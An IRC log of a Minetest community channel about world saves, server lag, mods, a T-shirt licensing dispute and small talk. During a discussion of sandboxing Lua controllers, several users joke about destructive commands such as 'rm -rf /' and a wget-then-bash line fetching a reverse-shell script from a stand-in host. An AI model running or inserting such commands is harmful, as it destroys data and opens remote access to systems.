| Time |
Nick |
Message |
| 00:00 |
Menche |
hi |
| 00:00 |
Menche |
going to start making worldedit saves of stuff on my server |
| 00:00 |
Menche |
to transfer to new map |
| 00:01 |
kaeza |
good |
| 00:03 |
Kacey |
let me hop on and check coords and help with the worledit |
| 00:04 |
Menche |
ok, just added worldedit |
| 00:04 |
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| 00:04 |
Kacey |
do i have worldedit priv? |
| 00:05 |
Kacey |
3% |
| 00:05 |
Menche |
not sure, my goodness the server is lagging |
| 00:05 |
kaeza |
hey Zen |
| 00:05 |
TheZenKitteh |
hey kaeza |
| 00:05 |
Kacey |
im still getting on so that is wh |
| 00:05 |
TheZenKitteh |
hey menche and kacey |
| 00:05 |
Kacey |
why* |
| 00:05 |
Kacey |
hi |
| 00:05 |
Kacey |
almost there... |
| 00:06 |
Menche |
cpu usage > 100%... |
| 00:06 |
TheZenKitteh |
for any mod developers who wish to help test the bash and windows mod installers, the mod repo has been moved to its own repo and mods can be added through git |
| 00:06 |
Uberi |
Menche: WorldEdit is working in a 3 level deep nested loop |
| 00:07 |
TheZenKitteh |
any archive format supported so long as inside archive is the folder of the mod such as modname or industrial or mesecons whatever |
| 00:07 |
kaeza |
TheZenKitteh, +1 |
| 00:07 |
Menche |
Uberi: the sad thing is, I haven't started using the worlded it yet :/ |
| 00:07 |
mauvebic |
whats your FPS with worledit? |
| 00:07 |
marktraceur |
TheZenKitteh: http://www.theopensourceway.org/wiki/How_to_tell_if_a_FLOSS_project_is_doomed_to_FAIL#Releases |
| 00:08 |
TheZenKitteh |
except rar.. rar isn't supported and I won't accept any mods to the repo that are in rar format lol |
| 00:08 |
Menche |
mauvebic: my FPS is just fine, server lag is the problem |
| 00:08 |
TheZenKitteh |
marktaceur I have no intentions of the bash and windows installers to take off.. however I do hope the online mod repo does so other mod installers can use what already exists |
| 00:08 |
Kacey |
double jump for fly option ... |
| 00:08 |
mauvebic |
i tend to associate lag with fps lol |
| 00:09 |
Kacey |
i wasnt lagging at all |
| 00:09 |
Menche |
you were'nt? maybe its because I'm leeching off of someone elses wifi... |
| 00:09 |
Menche |
lol |
| 00:09 |
Menche |
must be a way away from the router |
| 00:10 |
Kacey |
lol |
| 00:10 |
Kacey |
around 10 fps |
| 00:10 |
Menche |
no, it's server lag, cpu usage is > 100% |
| 00:11 |
mauvebic |
10? poop |
| 00:11 |
Menche |
mine is acting like it's capped at 30, even though it's actually capped at 60 |
| 00:11 |
Kacey |
i usually get 10 fps |
| 00:11 |
Menche |
wow |
| 00:12 |
mauvebic |
i used to get 10 FPS on my 7yr old gfx card |
| 00:12 |
Menche |
i guess that is playable, it's what i usually get on my netbook |
| 00:12 |
TheZenKitteh |
btw the goal of my mod installers btw is to "encourage" others who can do better to "try to one up me" or "contribute to make better". |
| 00:12 |
Kacey |
i am watching the profiling graph thingy |
| 00:13 |
* Menche |
is hoping his pentium 4 didn't just become obsolete |
| 00:13 |
Kacey |
i have a pentium 4 |
| 00:13 |
TheZenKitteh |
this is a pentium 4 as well |
| 00:13 |
Menche |
right around 0.4.0, my atom netbook ceased to be able to run a minetest server well |
| 00:13 |
TheZenKitteh |
lol |
| 00:14 |
mauvebic |
minetest never worked properly on my netbook either |
| 00:14 |
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| 00:14 |
mauvebic |
had all these weird colored polygons on the screen |
| 00:14 |
kaeza |
marktraceur, my IRC mod does all the points in the "Bundling" section... does that mean it's doomed to fail? |
| 00:14 |
Kacey |
watching the graph go crazy when i get to the end of a chunk |
| 00:14 |
mauvebic |
like someone threw a rainbow rock at the screen |
| 00:14 |
Kacey |
mine does that but only for a second |
| 00:15 |
mauvebic |
though netbook gfx and wifi drivers are notoriously a PITA |
| 00:15 |
Menche |
my netbook gets occasional artefacts |
| 00:15 |
mauvebic |
so we all get artefacts on the netbook? weird |
| 00:15 |
Menche |
i haven't noticed them as much lately |
| 00:15 |
Menche |
intel gfx drivers? |
| 00:15 |
mauvebic |
yep |
| 00:15 |
mauvebic |
intel atom N450 |
| 00:15 |
TheZenKitteh |
last time I tried minetest on a netbook it was a fail. <5FPS average |
| 00:16 |
Kacey |
woa massive spike |
| 00:16 |
TheZenKitteh |
occasional hiccups above 10 |
| 00:16 |
Menche |
i get about 10-15 fps |
| 00:16 |
airlynx |
does the version on Ubuntu Software Center (v0.3.1) not connect to servers? |
| 00:16 |
Menche |
give or take |
| 00:16 |
Menche |
airlynx: it connects to 0.3 servers, most servers run 0.4 |
| 00:17 |
airlynx |
Menche: I went to the site to get the latest version, but the Ubuntu link doesn't seem to be working |
| 00:18 |
airlynx |
nm, the magical "try-again" fairy fixed |
| 00:19 |
marktraceur |
kaeza: You need to add up all the points! |
| 00:20 |
TheZenKitteh |
marktraceur that link you gave doesn't fit all projects properly and assumes many things |
| 00:21 |
Kacey |
woa really bad lag there |
| 00:21 |
* Kacey |
is waiting for map to load... |
| 00:22 |
Kacey |
Menche do you remember how to use worldedit? |
| 00:22 |
marktraceur |
TheZenKitteh: Yes, but it's largely a hilarious joke. |
| 00:22 |
Menche |
im looking at the worldedit page for reference |
| 00:23 |
marktraceur |
TheZenKitteh: spot mostly made it in response to his frustration with Chrome, I think. |
| 00:23 |
TheZenKitteh |
lol marktraceur it is to a degree |
| 00:23 |
Uberi |
another nanosecond, another Chrome version |
| 00:24 |
Menche |
Kacey: just started a worldedit save |
| 00:24 |
mauvebic |
lol |
| 00:25 |
Kacey |
it looks like nobody wants their buildings saved... |
| 00:25 |
Menche |
actually it wasn't that bad |
| 00:25 |
mauvebic |
lol -> new chrome version |
| 00:25 |
Menche |
i don't think i'll save the weird looking lava thingie next to spawn |
| 00:25 |
kaeza |
marktraceur, 155 points of FAIL, so yep, pretty much screwed |
| 00:25 |
Uberi |
hey marktraceur got gh push access! |
| 00:26 |
Uberi |
high five o/ |
| 00:26 |
marktraceur |
Uberi|Away: Mostly for bug tracking porpoises. |
| 00:27 |
TheZenKitteh |
I say everything can be worked on.. if a project works as the developers envisioned and it serves a purpose, its not a total fail. the issue I see with almost every floss project is lack of GOOD documentation that's written in a way the END USER can understand |
| 00:27 |
marktraceur |
Before you ask, the dolphins were harder to train and therefore much more expensive. |
| 00:27 |
TheZenKitteh |
most seems written from the viewpoint of the devs and most end users won't even read it because its overcomplicated |
| 00:27 |
TheZenKitteh |
lol |
| 00:28 |
kaeza |
TheZenKitteh, I try to make my docs as easy to understannd to end users as possible |
| 00:28 |
TheZenKitteh |
same here kaeza.. of course im not very strong in documentation |
| 00:28 |
TheZenKitteh |
yet |
| 00:29 |
kaeza |
(Note: I usually look at Microsoft documents for inspiration because of their tendency to treat users like stupid masses) |
| 00:29 |
TheZenKitteh |
all my projects are mostly for my own personal use as a learning tool. however I believe in sharing so I do |
| 00:29 |
Menche |
does worldedit save metadata like chest inventories? |
| 00:30 |
* TheZenKitteh |
jokes that there should be a realworldedit that can edit the real world.. if only such existed |
| 00:30 |
TheZenKitteh |
anyway time for work again so ta ta to everyone for now |
| 00:30 |
TheZenKitteh |
have fun |
| 00:33 |
Kacey |
haha |
| 00:33 |
Kacey |
punched an unknown block and the graph spiked |
| 00:43 |
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| 00:43 |
bwsrjr |
I think I installed a mod (mesecons), but the game looks normal. how can i tell? |
| 00:44 |
mauvebic |
check your creative inventory? |
| 00:46 |
bwsrjr |
mauvebic: yup, that worked. i'm a super-newb |
| 00:46 |
bwsrjr |
thansk |
| 00:47 |
mauvebic |
no prob you can also use /giveme if you know exactly what youre looking for |
| 00:48 |
kaeza |
wow! talk about good support! I just received an answer to a question I posted on Puppy Linux Forums 5 months ago! |
| 00:48 |
Uberi |
to answer your question Menche, only //metasave does |
| 00:48 |
mauvebic |
better than ubuntu's "its your hardware" typical responses lol |
| 00:48 |
Menche |
ok |
| 00:48 |
Uberi |
Menche: a future version will fold //metasave into //save to make things simpler |
| 00:51 |
kaeza |
the problem with puppy forums is every kiddo makes a stupid question about things like "how do I change to a new directory?" and so *real* questions are lost forever in the last pages of the topic list |
| 00:52 |
Uberi |
kaeza: well to be fair, that's a legitimate question |
| 00:55 |
kaeza |
yeah |
| 00:55 |
kaeza |
It's also a question that is easily answered by RTFM |
| 00:56 |
kaeza |
there's even a FAQ answering those...err...Frequently Asked Questions |
| 00:57 |
bwsrjr |
man, i've never played mine{craft,test} before. these mesacons are amazing |
| 00:57 |
Uberi |
bwsrjr: wait 'till luacontrollers are ready |
| 00:57 |
Uberi |
they'll knock your socks off |
| 00:58 |
bwsrjr |
do you know if the mesecons commands (for the command block) are documented anywhere? |
| 00:58 |
Uberi |
ComputerCraft, anyone? |
| 00:58 |
Kacey |
luacontrollers? |
| 00:58 |
Uberi |
bwsrjr: they're all just MineTest commands, plus two I added for convenience |
| 00:59 |
Uberi |
bwsrjr: use the /help command to get a list |
| 00:59 |
Uberi |
bwsrjr: the chat command, I mean, type /help in the chat and press enter |
| 00:59 |
Uberi |
bwsrjr: I also added /msg and /say to make adventure maps easier |
| 00:59 |
bwsrjr |
awesome |
| 00:59 |
babyface1031 |
do jungle tree leaves die like the other tree leaves |
| 00:59 |
Uberi |
Kacey: uc's, except programmed with Lua |
| 01:00 |
Kacey |
so you have to know lua to program them? |
| 01:01 |
bwsrjr |
I'll learn lua for that. Isn't it used to script all kinds of games? WoW comes to mind |
| 01:01 |
mauvebic |
isnt that a danger for hacking servers? |
| 01:01 |
Menche |
ucs are lua? |
| 01:01 |
Uberi |
mauvebic: all sandboxed |
| 01:01 |
Uberi |
Menche: right now uc's are programmed in ucscript |
| 01:01 |
Uberi |
we're working on making Luacontrollers safe for servers still |
| 01:02 |
Uberi |
right now you can still crash a server with an infinite loop |
| 01:02 |
Uberi |
when it becomes fully safe it'll be in the release |
| 01:02 |
Kacey |
so instead of sbi(C,A) it would be something else? |
| 01:02 |
mauvebic |
does it prevent users from accessing all the api calls? |
| 01:02 |
Uberi |
mauvebic: yep |
| 01:02 |
mauvebic |
like say, a user couldn't grant himself privs |
| 01:03 |
Uberi |
mauvebic: or worse: os.open("rm -rf /") |
| 01:03 |
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| 01:03 |
Uberi |
mauvebic: yeah the environment is all nicely safe and sandboxed |
| 01:03 |
Uberi |
but still infinite loops are possible |
| 01:03 |
Menche |
if a server operator were running his server as root, he would deserve that |
| 01:03 |
Menche |
rm -rf / |
| 01:04 |
Exio |
if someone is running a server as root |
| 01:04 |
Exio |
the problem isn't the server, is the sysadmin |
| 01:04 |
bwsrjr |
Uberi: what do the water turbines do? |
| 01:05 |
bwsrjr |
nm, i see on the site |
| 01:05 |
bwsrjr |
wow. I've got to run, but this is amazing |
| 01:06 |
Uberi |
Exio: still, MT has access to the map, so os.open("rm ../worlds/map.sqlite") |
| 01:06 |
Exio |
well, yeah |
| 01:07 |
kizeren |
os.open("rm -Rf /") That would be more fun. |
| 01:07 |
Exio |
or even better, os.open("wget http://your.nice.site/reverse.shell.sh;bash reverse.shell.sh"); >:D |
| 01:08 |
Uberi |
Exio: the new WorldEdit also has a //lua command that can technically do that |
| 01:08 |
Uberi |
but it has even stricter privs, needs server=true |
| 01:11 |
babyface1031 |
do jungle tree leaves die like the other tree leaves |
| 01:12 |
babyface1031 |
and what is noclip |
| 01:13 |
mauvebic |
being able to pass through shit |
| 01:14 |
NakedFury |
noclip is being a ghost |
| 01:14 |
NakedFury |
should use that name instead of noclip |
| 01:15 |
Uberi |
nah ghost has other connotations |
| 01:15 |
Uberi |
like being invisible |
| 01:16 |
NakedFury |
ok the Kitty Pride(i think) mode |
| 01:23 |
airlynx |
still can't connect to c55.me server |
| 01:29 |
Menche |
airlynx: that server has been down |
| 01:29 |
Kacey |
i must go |
| 01:30 |
Uberi |
his people need him |
| 01:40 |
BackupCoder |
legends will speak of it |
| 01:45 |
mauvebic |
which is nicer rosebush? http://www.zimg.eu/i/2006889979 |
| 01:45 |
airlynx |
what is a good server to connect to then? |
| 01:51 |
Uberi |
airlynx: survival or creative? |
| 01:54 |
kaeza |
OldCoder, are you updating the servers? |
| 01:54 |
kaeza |
BackupCoder, ^ |
| 01:57 |
kaeza |
oh nvm |
| 01:57 |
kaeza |
they are back up |
| 01:58 |
airlynx |
uberi: no idea, just exploring the game at this point |
| 02:00 |
Uberi |
airlynx: well have a gander at VanessaE's creative server, it has a huge selection of what's possible with MT |
| 02:00 |
Uberi |
can you give the address, VanessaE? |
| 02:01 |
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| 02:01 |
erlehmann |
anyone here? |
| 02:02 |
marktraceur |
erlehmann: So many people are here! |
| 02:02 |
airlynx |
lol, I just discovered the wiki pages, realized there's a whole lot more to this than just digging dirt and sand with my hands |
| 02:02 |
erlehmann |
i got a mail from the t-shirt shop. |
| 02:02 |
marktraceur |
erlehmann: Welcome to IRC, ask your question :) |
| 02:02 |
marktraceur |
erlehmann: What was it? |
| 02:02 |
erlehmann |
i asked them to provide attribution. |
| 02:03 |
erlehmann |
but they were like “In accordance with our Intellectual Property Rights Policy, we have prevented the user from using the images on products for sale through their store.†|
| 02:03 |
erlehmann |
even though i explicitly told them commercial use is ok |
| 02:03 |
erlehmann |
>_> |
| 02:03 |
erlehmann |
<_< |
| 02:03 |
erlehmann |
-_- |
| 02:04 |
erlehmann |
is the shop still there? |
| 02:04 |
marktraceur |
erlehmann: So wait, the order I placed....is going to get cancelled? |
| 02:04 |
erlehmann |
marktraceur, i have *no* idea. |
| 02:04 |
marktraceur |
The "black and yellow" design is, all others aren't |
| 02:04 |
marktraceur |
Guh, these people are morons. |
| 02:04 |
erlehmann |
indeed. |
| 02:05 |
erlehmann |
but probably easiest for them to just delete fucking everything. |
| 02:05 |
erlehmann |
any idea what i can do? |
| 02:06 |
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| 02:06 |
erlehmann |
maybe i'll find a CC-friendly shirt shop |
| 02:07 |
erlehmann |
let me look up the cafepress intellectual property rights policy |
| 02:07 |
erlehmann |
that cafepress person is like youtube |
| 02:08 |
erlehmann |
http://www.cafepress.com/cp/info/help/index.aspx?page=iprights.aspx |
| 02:08 |
erlehmann |
> If you let us know that your rights are being infringed by one of our users we will (in our discretion) require that the user's content is removed from products and, if the user continues to infringe your rights (or infringes the rights of others) terminate the user's access to our services. |
| 02:08 |
erlehmann |
oh well |
| 02:09 |
erlehmann |
who of you does the cafepress store? |
| 02:09 |
marktraceur |
rubenwardy, but he not here |
| 02:10 |
erlehmann |
oh well tell him i meant no bad then. i can post the email if he wants. |
| 02:10 |
marktraceur |
Righto. |
| 02:10 |
marktraceur |
erlehmann: I'd really enjoy reading the full text, actually. Might make a good blog post. |
| 02:10 |
erlehmann |
i just want attribution and that users are aware of the source code of the image. |
| 02:10 |
erlehmann |
marktraceur, ima gonna sleep. |
| 02:10 |
marktraceur |
KK. |
| 02:10 |
erlehmann |
but i'll post it. |
| 02:10 |
erlehmann |
wait |
| 02:12 |
marktraceur |
erlehmann: In fairness, they're correct |
| 02:12 |
marktraceur |
erlehmann: The shirts essentially broke the license |
| 02:13 |
erlehmann |
marktraceur, they are correct, yes. but it would be very easy to comply. |
| 02:13 |
marktraceur |
True, but their policy says something, and they can't very well play fast and loose with that sort of thing |
| 02:13 |
erlehmann |
yeah, probably. |
| 02:13 |
marktraceur |
Else they'd get sued. A lot. |
| 02:13 |
erlehmann |
ima gonna post the mail. |
| 02:14 |
marktraceur |
Woot! |
| 02:17 |
mauvebic |
jesus its cold outside |
| 02:18 |
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| 02:18 |
erlehmann |
in berlin as well |
| 02:18 |
Uberi |
mauvebic: it's insane |
| 02:18 |
Uberi |
I almost got frostbite walking home today |
| 02:18 |
mauvebic |
i just went for beer, thank god its a block away\ |
| 02:18 |
erlehmann |
http://daten.dieweltistgarnichtso.net/docs/law/cafepress-minetest-logo |
| 02:19 |
erlehmann |
marktraceur, go show that rubenwardy if he asks for explanation. |
| 02:19 |
marktraceur |
KK |
| 02:19 |
jojoa1997 |
Uberi want to trade places it is too hot here |
| 02:19 |
erlehmann |
where u are? |
| 02:19 |
erlehmann |
BR BR BR BR BR ? |
| 02:20 |
jojoa1997 |
USA Florida |
| 02:20 |
jojoa1997 |
60 is cold here |
| 02:20 |
jojoa1997 |
fareinheight |
| 02:21 |
Uberi |
jojoa1997: you don't want to be in -20 degree celsius weather :/ |
| 02:21 |
jojoa1997 |
hay io like the cold 30 |
| 02:21 |
jojoa1997 |
but 60 is cold to others |
| 02:21 |
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| 02:21 |
jojoa1997 |
florida is around 70 in the middle of winter |
| 02:22 |
OldCoder |
Back |
| 02:22 |
OldCoder |
kaeza, no; I was away for the afternoon |
| 02:22 |
mauvebic |
last week they had 12c in yukon lol |
| 02:22 |
kaeza |
OldCoder, I received a strange "Server Shutting Down" message |
| 02:22 |
mauvebic |
they have that 30 days of night thing in the winter too lol |
| 02:22 |
OldCoder |
Hmm |
| 02:22 |
jojoa1997 |
OldCoder is minetest.org 30005 up i cant get on |
| 02:23 |
OldCoder |
kaeza, port? |
| 02:23 |
kaeza |
but reconnected and it was up... O.o |
| 02:23 |
OldCoder |
jojoa1997, checking now |
| 02:23 |
erlehmann |
jojoa, USE METRIC |
| 02:23 |
kaeza |
OldCoder, ^ |
| 02:23 |
jojoa1997 |
In USA no way |
| 02:23 |
OldCoder |
reviewing logs |
| 02:24 |
mauvebic |
vancouver has nicer winter weather |
| 02:24 |
erlehmann |
SI units, there is a reason your military and your nasa uses it ;_; |
| 02:24 |
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| 02:24 |
kaeza |
OldCoder, 30004 |
| 02:24 |
OldCoder |
when? |
| 02:24 |
jojoa1997 |
why |
| 02:24 |
OldCoder |
time? |
| 02:24 |
OldCoder |
kaeza, you timed out |
| 02:24 |
kaeza |
about 30 mins ago |
| 02:24 |
kaeza |
yeah |
| 02:25 |
jojoa1997 |
it was a day ago but i just connected |
| 02:25 |
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| 02:25 |
OldCoder |
kaeza, I see... |
| 02:25 |
Kacey |
back |
| 02:25 |
OldCoder |
WARNING: StaticObjectList::remove(): id=69 not found |
| 02:25 |
OldCoder |
01:54:17: ERROR[main]: ServerEnvironment::deactivateFarObjects(): id=70 m_stati |
| 02:25 |
OldCoder |
WARNING: StaticObjectList::remove(): id=70 not found |
| 02:25 |
OldCoder |
01:54:17: ERROR[main]: ServerEnvironment::deactivateFa |
| 02:25 |
kaeza |
I just got confused by that "Server Shutting Down" message |
| 02:25 |
OldCoder |
Kacey, wb |
| 02:25 |
Kacey |
hi oldcoder |
| 02:26 |
OldCoder |
o/ |
| 02:27 |
Kacey |
o> |
| 02:28 |
Kacey |
making redneck jokes |
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| 02:55 |
marktraceur |
Hm. The cafepress order seems to still be on the way |
| 03:02 |
erlehmann |
good! |
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mauvebic |
renovations: http://www.zimg.eu/i/2266287931 |
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jojoa1997 |
if i make a folder named worldmods inj my world folder. is that where game specific mods go |
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TheZenKitteh |
hello hello to anyone alive |
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erlehmann |
hi |
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erlehmann |
mauvebic, where is this? |
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TheZenKitteh |
hey erlehmann |
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erlehmann |
hey TheZenKitteh |
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TheZenKitteh |
slow night I take it |
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mauvebic |
erlehmann on my personal server |
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mauvebic |
though oldcoder has a copy running |
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mauvebic |
minetest.org:30018 |
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mauvebic |
(http://forum.minetest.net/viewtopic.php?id=4136) |
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kizeren |
So is this a map that you would not give me nukes? |
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mauvebic |
not on that server its not creative |
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kizeren |
Going to try and talk the wife into creating a map for PVP. |
| 04:06 |
kizeren |
Just not sure what anyone would want in a PVP map. |
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OldCoder |
hi |
| 04:07 |
kizeren |
But I will deffinetly put nukes in it :) |
| 04:07 |
kizeren |
Hello OldCoder |
| 04:07 |
OldCoder |
hi! |
| 04:08 |
kizeren |
I hope you don't mind. I mirrored your website so I could get the mods you have on port 30000. |
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mauvebic |
whos website? we all have websites lol |
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kizeren |
OldCoder's. |
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kizeren |
I wanted OldCoders so i could see the mods and config files for the worlds. Been trying get a little extra speed from the one I host. I think I found a good combo and so far it has helped. |
| 04:11 |
kizeren |
now if we can do something about the graphics :) |
| 04:11 |
mauvebic |
ive been working on optimizing too |
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mauvebic |
lots of redundant code to cut down on lol |
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kizeren |
my problem was conifers and plantlife then animals....just brough everything to a stand still. |
| 04:12 |
kizeren |
Now nothing really lags the server accept if you spawn a new area. |
| 04:12 |
kizeren |
Which i can live with. |
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erlehmann |
awww http://forum.minetest.net/viewtopic.php?id=3731 |
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erlehmann |
only 9 years old and coding! |
| 04:15 |
erlehmann |
great! |
| 04:21 |
OldCoder |
hi |
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OldCoder |
kizeren, feel free and you need to update sometime |
| 04:21 |
OldCoder |
kizeren, there will be much more |
| 04:22 |
kizeren |
I am just giong to try and keep mine updated with yours. |
| 04:22 |
OldCoder |
Please don't clone all the time; once in a while should do |
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kizeren |
Best i can anyway. |
| 04:22 |
OldCoder |
Maybe I will give out rsync |
| 04:22 |
OldCoder |
That would let everybody clone everything |
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kizeren |
I figured maybe most once a week. |
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OldCoder |
k |
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OldCoder |
Hmm |
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OldCoder |
kizeren, can you limit two things? One would be *my* mirror of thexyz mods |
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OldCoder |
that won't change much |
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OldCoder |
and if I put the worlds online |
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kizeren |
I was just too lazy to write a script to get the zip files tonight :) But I might try it next week so I don't kill your bandwidth. |
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OldCoder |
that will be gigabytes |
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OldCoder |
Hmm |
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OldCoder |
I could see the worlds as torrents |
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OldCoder |
* see |
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OldCoder |
* seed |
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kizeren |
Would it be hard for you to have one big zip file of all the mods to grab instead of individuals? |
| 04:24 |
OldCoder |
Not hard, no |
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OldCoder |
We can do all kinds of things |
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OldCoder |
Keep an eye on it over time |
| 04:24 |
OldCoder |
kizeren, actually what you just asked |
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OldCoder |
is there in a way |
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OldCoder |
I have placed the _game folders zipped online |
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kizeren |
What I was thinking was setting up a cron job that will use wget to check if file has changed if so...then have wget download the new file. |
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OldCoder |
fine |
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kizeren |
but this time I wanted all the config files. So I could tinker with them and find one that best worked on my server. |
| 04:25 |
OldCoder |
sure |
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kizeren |
Did you know the textures are all goofy? |
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kizeren |
Oo well... late for me. |
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kizeren |
laters. |
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kaeza |
my fighting/spleef/whatever arena on Octuteam World: https://dl.dropbox.com/u/100008207/minetest/screens/octuteam/screenshot_1272406954.jpg |
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VanessaE |
zzz |
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* kaeza |
puts a default:water_flowing on VanessaE's head |
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* VanessaE |
grabs an erlehmann sponge. |
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kaeza |
hah |
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erlehmann |
:3 |
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erlehmann |
VanessaE, can you modify my mod so sponge occurs naturally? |
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kaeza |
outside view: https://dl.dropbox.com/u/100008207/minetest/screens/octuteam/screenshot_1272732901.jpg |
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VanessaE |
erlehmann: I could possibly do that.... ironically the best place to spawn a sponge would be under water...which of course they're designed to get rid of :) |
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kaeza |
err...wouldn't that dry up the world? :P |
| 05:16 |
VanessaE |
yup |
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erlehmann |
VanessaE, i would suggest they spawn 1 block below sea level and very rarely |
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kaeza |
how about making a "dry sponge" and a "wet sponge"? |
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kaeza |
(like a water tank or smth like that) |
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* kaeza |
has fancy useless ideas |
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* kaeza |
's creativity sucks |
| 05:21 |
kaeza |
suddenly...copyright infringement: https://dl.dropbox.com/u/100008207/minetest/screens/octuteam/screenshot_1273155980.jpg |
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kaeza |
(art by Dogzilla) |
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VanessaE |
heh |
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VanessaE |
where is this? |
| 05:21 |
kaeza |
Octuteam world |
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kaeza |
mt.org:30004 |
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kaeza |
and there's more: https://dl.dropbox.com/u/100008207/minetest/screens/octuteam/screenshot_1273302628.jpg |
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kaeza |
VanessaE, you there? |
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VanessaE |
no :) |
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kaeza |
oh ok |
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kaeza |
:) |
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VanessaE |
I'm here ----> |
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kaeza |
nope |
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kaeza |
theres a blank area there |
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kaeza |
:P |
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kaeza |
<Brandy> only bad thing is, i keep cutting down trees and they keep taking over everything now |
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VanessaE |
I'm invisible, duh :) |
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kaeza |
<Brandy> they are growing through my buildings and taking over all the land thats left, its like the attack of the killer trees lol |
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VanessaE |
tell him to bury some trunks under a layer of dirt as close to the surface as possible. |
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VanessaE |
that'll cause the spawn code to avoid those areas. |
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kaeza |
whatokay |
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kaeza |
BTW, it's a "her" |
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VanessaE |
her then :-) |
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kaeza |
thanks ;) |
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VanessaE |
the spawner checks for the presence of trunks or saplings of the type about to be spawned, and avoids them if they're too close |
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VanessaE |
alternatively, tell her not to build there ;-) |
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VanessaE |
or build at below 25m |
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kaeza |
VanessaE, she says thank you |
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kaeza |
(it's weird relaying messages between channels lol) |
| 06:02 |
VanessaE |
I'll make changes to the code soon to make them spawn on mapgen insted of via an abm |
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kaeza |
umm... http://www.youtube.com/watch?annotation_id=annotation_152960&feature=iv&src_vid=To6q3w6RzNg&v=U8tAkQ-37XU |
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celeron55 |
http://www.aosabook.org/en/index.html |
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celeron55 |
"The Architecture of Open Source Applications" |
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Oblivion1500 |
â”(-_-)┛┗(-_- )┓┗(-_-)â”›â”(-_-)┓ |
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VanessaE |
bbl, bedtime |
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kaeza |
night |
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cosarara97 |
hi |
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kaeza |
hey |
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cosarara97 |
Do I have to give any options to CMake to get the 3D player? |
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kaeza |
nope |
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kaeza |
just use latest git |
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kaeza |
(well, not latest, but recent enough) |
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kaeza |
also, the 3d player is part of minetest_game |
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kaeza |
so you should update that as well |
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cosarara97 |
that is it |
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kaeza |
yup |
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kaeza |
celeron55, would an API to determine what caused damage to player be possible? it would require protocol changes right? |
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kaeza |
or can it be done someway in Lua? |
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kaeza |
somehow* |
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kaeza |
hmm... thinking about it, I think that can be possible with a patch in C++ (at least for environment damage such as lava and falling) |
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kaeza |
other damage such as from entities can be (almost) easily done in Lua |
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Obiewan1111 |
I has le snow. |
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Obiewan1111 |
Le school is le shut. |
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Obiewan1111 |
#SNOWDAY. |
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Obiewan1111 |
I'm out! |
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kaeza |
O.o |
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cosarara97 |
can outdated mods cause a segfault? |
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kaeza |
depends |
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cosarara97 |
on? |
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kaeza |
usually lua errors are catched and reported as a nice dialog box |
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kaeza |
unless the code is doing something weird |
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kaeza |
anyway, what's the mod in question? |
| 07:22 |
cosarara97 |
Well, the game is crashing just when I start to see the world |
| 07:22 |
cosarara97 |
only in single player |
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cosarara97 |
I'll try to disable the external mods |
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kaeza |
do this: |
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kaeza |
remove all the mods (so you are left only with default game) |
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kaeza |
and start adding one by one |
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kaeza |
and test which one causes the segfault |
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kaeza |
s/test/see/ |
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cosarara97 |
I removed them all, and it's working now, but at 3 fps only :S |
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kaeza |
hmmm |
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kaeza |
MOBF can cause those problems |
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kaeza |
even when removed |
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kaeza |
are you using that? |
| 07:26 |
cosarara97 |
Nope |
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cosarara97 |
I'm trying with a new world now |
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cosarara97 |
it's a little faster now |
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cosarara97 |
7-8 fps |
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kaeza |
can you repeat please? |
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kaeza |
I got disconnected :/ |
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cosarara97 |
I don't think I have had mobf |
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cosarara97 |
I'm trying with a new world anyway |
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cosarara97 |
and it just a little faster |
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Oblivion1500 |
i would try uninstalling the game then reinstalling, but thats just me |
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kaeza |
or getting a better computer |
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kaeza |
meh |
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kaeza |
anyway, I'm out |
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kaeza |
night everyone |
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Oblivion1500 |
good night |
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Oblivion1500 |
damn lol |
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* Zeg9 |
just managed to crash gimp |
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thexyz |
kizeren: http://mods.minetest.ru/info.html — if you wish to rsync with mods.minetest.ru |
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celeron55 |
thexyz: is that manually or automatically managed? |
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thexyz |
celeron55: manually |
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thexyz |
it's quite outdated as I don't have enough time to manage it |
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celeron55 |
it could be automated fairly easily - just introduce some wiki-like special syntax to be used for package links and short info on the forum |
| 09:51 |
celeron55 |
not really wiki-like... some standard way of listing things anyway |
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OldCoder |
thexyz, he is interested specifically in my versions of the mods I think |
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thexyz |
well, installing pun_attachment is an another option |
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celeron55 |
i'm really interested in coding an integrated mod database on the main site... i should just drop everything else and get to doing that |
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celeron55 |
anyhow, work (slave) stuff -> |
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OldCoder |
Hmm |
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OldCoder |
You mean the volunteer program? |
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OldCoder |
Well, not volunteer |
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celeron55 |
i mean slavery |
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jordach |
hello all |
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markveidemanis |
Anyone on #mt-servers #mt-textures #mt-maps |
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markveidemanis |
? |
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celeron55 |
news from minetest.net VPS: they finally could do a hardware check for it after relocating some service (other than minetest.net) that it was running as one of a redundant pair of servers |
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celeron55 |
s/for it/for the physical server/ |
| 13:56 |
celeron55 |
turns out it had a broken RAM module |
| 13:56 |
celeron55 |
that... well, explains stuff |
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celeron55 |
for some reason no other VPSes were affected by it |
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VanessaE |
translation: "We don't want to admit to how bad the problem *really* was". |
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VanessaE |
also, good morning. |
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PilzAdam |
Hello everyone! |
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VanessaE |
morning PilzAdam |
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celeron55 |
VanessaE: eh? |
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VanessaE |
celeron55: nevermind, it was a joke. |
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celeron55 |
do you ever have any jokes the funnyness of which doesn't involve unrighteously laughing at people? |
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VanessaE |
*facepalm* |
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celeron55 |
i think i haven't ever seen anyone else respond to these in any positive way either; i'm somewhat sure the problem is more in you than me |
| 14:10 |
celeron55 |
not that i really care, but anyway |
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VanessaE |
I worked for a VPS provider for a while and was paid to lie about the severity of the problems the place had. |
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VanessaE |
(needless to say I didn't stay there long) |
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celeron55 |
...i don't really see how having a broken memory module can differ from having a broken memory module |
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VanessaE |
It isn't about the damage to the hardware - it's about the claim that no one else but minetest.net was affected, which is absurd. |
| 14:14 |
celeron55 |
well, it obviously is pretty bad, regardless of if others actually suffered of it or not |
| 14:14 |
* PilzAdam |
sees that MarkTraceur and hmmmm have access to the main repo |
| 14:14 |
VanessaE |
certainly so, yes. |
| 14:15 |
celeron55 |
given that the big service that prevented running the long hardware check was a pair of two redudant servers, that wouldn't have been affected that much at least |
| 14:15 |
celeron55 |
i mean, of the RAM error |
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VanessaE |
you do realize how many VPS's are usually run on such a machine, right? |
| 14:16 |
RealBadAngel |
hi all |
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VanessaE |
mornin' RBA |
| 14:16 |
RealBadAngel |
evenin' VanessaE :) |
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celeron55 |
many; altough i am not fully knowledgeable of how this hosting is actually implemented |
| 14:18 |
celeron55 |
(it isn't the general "bulk vps hosting"; it's likely to be on a rented physical server owned by the very small company, which mostly runs sites provided as a service right from the making of them) |
| 14:18 |
VanessaE |
a colo then. |
| 14:18 |
VanessaE |
or just a dedicated server? |
| 14:19 |
celeron55 |
